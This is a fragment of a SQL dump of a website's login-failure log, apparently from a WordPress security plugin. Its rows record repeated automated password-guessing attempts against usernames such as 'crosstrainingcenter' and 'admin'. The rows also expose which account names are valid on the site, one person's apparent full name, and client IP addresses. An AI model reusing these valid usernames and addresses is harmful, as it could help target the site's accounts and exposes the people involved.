(99314, 1492882974.428163, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1000782271, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99315, 1492882975.977089, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1000782271, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99316, 1492883081.352303, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2441469703, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99318, 1492883597.635223, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1740883504, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99427, 1493053170.672976, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1892753981, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99428, 1493055055.130241, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1484515861, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99429, 1493056021.877526, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3419896414, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99444, 1493062748.524406, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 657929581, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99468, 1493114995.160015, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1402516394, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99474, 1493121993.747385, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 704787301, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99475, 1493121995.082455, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 704787301, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99476, 1493123094.155899, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1887842097, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99478, 1493125992.703420, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 781684966, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99479, 1493126386.592271, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 534420026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99480, 1493126389.607128, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 534420026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99481, 1493126956.229665, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3167951747, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99483, 1493127875.985981, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 609050352, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99486, 1493135589.981152, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1938229159, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99487, 1493135591.613757, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1938229159, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99488, 1493135802.634101, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 456761165, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99489, 1493135805.134268, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 456761165, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99490, 1493139944.462680, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99491, 1493140445.710075, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3412935119, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99492, 1493140447.059792, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3412935119, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99493, 1493140510.656040, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99494, 1493141070.160433, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99495, 1493141221.554832, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 702589396, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99496, 1493141825.286031, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99497, 1493142142.883487, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2038180494, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99498, 1493142145.515538, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2038180494, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(99499, 1493142764.802831, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99500, 1493143716.226437, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99501, 1493144688.263825, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99502, 1493145635.018631, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99503, 1493146602.638646, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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(99729, 1493294830.160849, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1823113940, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99730, 1493294831.257940, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1823113940, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99731, 1493295141.399084, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99732, 1493295637.694101, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3033986906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99733, 1493295639.193551, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3033986906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99734, 1493295688.417935, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 977552699, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99735, 1493295689.946462, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 977552699, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99736, 1493296040.613480, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1449745144, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99737, 1493296096.268139, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2981339500, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99738, 1493296097.666988, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2981339500, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99739, 1493296191.059987, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99740, 1493297211.337588, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99741, 1493298260.877955, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99742, 1493299504.203745, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2536339395, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99743, 1493299505.450241, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2536339395, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99744, 1493300070.973477, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 694570146, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99745, 1493300083.073421, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 694570146, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99746, 1493300928.095736, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1598980920, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99747, 1493300929.370467, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1598980920, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99748, 1493302076.785915, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1887828803, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99749, 1493303793.913824, 1, 'loginFailValidUsername', 'admin', 1, 2960954126, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99750, 1493304648.803691, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1768073243, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99751, 1493304649.900003, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1768073243, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99752, 1493305620.622049, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1396104586, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99753, 1493306311.558494, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744766569, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99754, 1493306313.866048, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744766569, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99755, 1493310765.866900, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3157204740, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99756, 1493310999.764996, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3382964636, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99757, 1493311525.004783, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1981193994, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99758, 1493311526.473118, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1981193994, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99759, 1493311668.792487, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 858203606, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99760, 1493311669.978423, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 858203606, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99761, 1493312452.408631, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 637050808, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99762, 1493314252.237300, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 658304580, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99763, 1493314253.536128, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 658304580, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99764, 1493314282.734749, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99765, 1493315296.488150, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99766, 1493315832.945203, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1892043861, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99767, 1493315834.943224, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1892043861, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99768, 1493316187.617921, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 28968311, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99769, 1493316321.758569, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99770, 1493317334.039030, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99771, 1493318369.382876, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99772, 1493318538.194433, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3149676724, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99773, 1493318539.424238, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3149676724, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99774, 1493319386.916395, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99775, 1493320110.126423, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 621184356, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99776, 1493320389.367811, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99777, 1493321404.031064, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99778, 1493322408.295330, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99779, 1493323425.866678, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99780, 1493324421.114489, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99781, 1493324905.890788, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3158086909, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99782, 1493324907.051485, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3158086909, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99783, 1493325432.090606, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99784, 1493326437.463267, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99785, 1493327446.169706, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99786, 1493328325.705197, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3042965342, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99787, 1493328327.291990, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3042965342, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99788, 1493328437.046868, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99789, 1493329429.464384, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99790, 1493330452.647406, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99791, 1493331446.408608, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99792, 1493332454.674997, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99793, 1493338862.609162, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2037978292, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99794, 1493338865.146532, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2037978292, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99795, 1493339268.510022, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3033986906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99796, 1493339270.207276, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3033986906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99797, 1493340938.359187, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3412761521, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99798, 1493341348.235406, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1668664551, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99799, 1493341349.524190, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1668664551, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99800, 1493344007.284333, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3110329374, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(99801, 1493344009.286757, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3110329374, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99802, 1493345413.495871, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2985971885, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99803, 1493345415.056605, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2985971885, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99804, 1493351968.903016, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 831636304, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99805, 1493352643.741791, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 702768013, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99806, 1493357447.103721, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 835452949, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99807, 1493357448.359869, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 835452949, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99808, 1493358147.643555, 1, 'loginFailValidUsername', 'julie', 2, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99809, 1493358148.367695, 1, 'loginFailValidUsername', 'julie', 2, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99810, 1493358149.025040, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99811, 1493358149.737459, 1, 'loginFailValidUsername', 'pablo', 3, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99812, 1493358150.813316, 1, 'loginFailValidUsername', 'admin', 1, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99813, 1493361722.804791, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 657683608, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99814, 1493361724.352773, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 657683608, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99815, 1493363740.702674, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2978051518, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99816, 1493363742.136053, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2978051518, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99817, 1493364254.670792, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1730630359, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99818, 1493364255.826627, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1730630359, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99819, 1493371651.314233, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1507036977, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99820, 1493371652.577088, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1507036977, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99821, 1493375030.450938, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1816093533, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99822, 1493375031.595245, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1816093533, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99823, 1493375157.830307, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 624429088, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99824, 1493375158.969483, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 624429088, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99825, 1493376484.681008, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1741416040, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99826, 1493376488.984570, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1741416040, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99827, 1493385140.700013, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2970821136, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99828, 1493385142.091386, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2970821136, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99829, 1493385389.831624, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3321281790, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99830, 1493385390.994283, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3321281790, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99831, 1493386238.339897, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2873895206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99832, 1493389947.630900, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1333959350, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99833, 1493389948.760266, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1333959350, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99834, 1493390429.844275, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744105710, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99835, 1493390452.902341, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744105710, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
